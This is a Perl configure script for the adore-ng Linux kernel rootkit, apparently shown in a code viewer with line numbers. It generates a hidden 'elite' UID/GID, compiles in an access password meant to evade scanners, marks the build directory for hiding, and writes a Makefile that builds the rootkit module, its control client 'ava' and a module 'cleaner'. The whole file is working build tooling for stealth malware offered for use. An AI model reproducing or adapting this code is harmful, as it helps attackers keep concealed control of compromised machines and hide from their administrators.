1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
|
#!/usr/bin/perl
# (C) 2002 by Stealth.
# Using at your own risk. Licensed under BSDish license.
# See LICENSE-file. Standard disclaimer applies.
# adore configuration script
# One can also use Makefile.gen edited by hand
# when perl is not available or one needs special values
# (crosscompiling)
#
# Initializink, Pitr ...
#
$elite_uid = 0;
$elite_cmd = 0;
$cc = "";
$| = 1;
$current_adore = 41;
$bw = shift || 4;
print "\nUsing byte-width of $bw for UID/GID\n";
sub get_pass()
{
print "\n\nSince version 0.33 Adore requires 'authentication' for\n".
"its services. You will be prompted for a password now and this\n".
"password will be compiled into 'adore' and 'ava' so no further actions\n".
"by you are required.\nThis procedure will save adore from scanners.\n".
"Try to choose a unique name that is won't clash with filenames in /proc.\n";
print "Password (echoed):"; my $s = <STDIN>;
chop($s);
s/"//g;
return substr($s, 0, 15);
}
#
# find elite UID+GID
#
sub get_elite_id()
{
my $uid = 0, $p;
if ($bw == 2) {
$p = "S";
} elsif ($bw == 4) {
$p = "I";
} else {
print "Nuts! Stupid byte-width of $bw. Use either 2 or 4.\n";
exit;
}
open(R, "/dev/random") or die "$!";
while (defined(getpwuid($uid))) {
read R, $uid, $bw;
$uid = unpack($p, $uid);
}
read R, $gid, $bw;
close(R);
$gid = unpack($p, $gid);
return ($uid, $gid);
}
#
sub check_smp()
{
if (`uname -a` =~ "SMP") {
return "YES";
} else {
return "NO";
}
}
sub check_26()
{
if (`uname -r` =~ /2\.6/) {
return "YES";
} else {
return "NO";
}
}
# check for CONFIG_MODVERSIONS=y
sub check_modversions()
{
open I, "</proc/ksyms" or die "open(/proc/ksyms) $!";
while (<I>) {
if (/kernel_thread_R.+/) {
close I;
return "YES";
}
if (/kernel_thread/) {
close I;
return "NO";
}
}
print "WARN: Can't find kernel_thread!! Using \"NO\"!";
return "NO";
}
#
# Look for loaded modules
#
sub check_modules()
{
print "Loaded modules:\n";
system("cat /proc/modules");
}
#
# Look where insmod is located
#
sub check_insmod()
{
my $s;
print "Checking 4 insmod ... ";
foreach (qw(/bin /sbin /usr/sbin /usr/bin)) {
if (-x ($s = "$_/insmod")) {
print "found $s -- OK\n";
return $s;
}
}
print "WARN: No insmod found in /bin, /sbin, /usr/sbin, /usr/bin! Fix init-script by hand!\n";
return "insmod";
}
#
# RH 7 has 'kgcc'
#
sub check_cc()
{
my $r;
if (-x "/usr/bin/kgcc") {
$r = "kgcc";
} else {
$r = "cc";
}
return $r;
}
##############################
#
# main()
#
##############################
print "\nStarting adore configuration ...\n\n";
($uid, $gid) = get_elite_id();
print "Checking 4 ELITE_UID + ELITE_GID ... ";
print "found $uid, $gid\n";
print "Checking 4 SMP ... ", $has_smp = check_smp(), "\n";
print "Checking 4 MODVERSIONS ... ", $has_modversions = check_modversions(), "\n";
print "Checking for kgcc ... ";
print "found ", $cc = check_cc(), "\n";
$insmod = check_insmod();
print "\n";
check_modules();
$pwd = get_pass();
print "\nPreparing '.' for hiding ... ";
chown($uid, $gid, ".") or print "(failed)";
print "\n\n";
print "Creating Makefile ...\n";
print "\n\a*** Edit adore-ng.h for the hidden services ***\n";
#
# create an Makefile backup.
#
$date = `date`;
$date =~ tr/ /_/;
system("touch Makefile;cp Makefile Makefile_$date");
#
# write Makefile
#
open(O, ">Makefile") or die "open(Makefile) $!";
print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";
print O "#CFLAGS+=-mcpu=i486\nINC=-I/usr/src/linux/include";
print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".
"CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";
if ($has_smp eq "NO") {
print O "#";
}
print O "CFLAGS+=-D__SMP__\n";
print O "\n";
if ($has_modversions eq "NO") {
print O "#";
}
print O<<_EOF_;
CFLAGS+=-DMODVERSIONS
all: adore-ng ava cleaner symsed
adore-ng: adore-ng.c
rm -f adore-ng.o
\$(CC) -c \$(INC) \$(CFLAGS) adore-ng.c -o adore-ng.o
\$(CC) -c \$(INC) \$(CFLAGS) -DRELINKED adore-ng.c -o zero.o
ava: ava.c libinvisible.c
\$(CC) \$(CFLAGS) ava.c libinvisible.c -o ava
cleaner: cleaner.c
\$(CC) \$(INC) -c \$(CFLAGS) cleaner.c
symsed: symsed.c
\$(CC) -O2 symsed.c -o symsed
clean:
rm -f core ava symsed *.o
_EOF_
#
# Done :>
#
close O;
|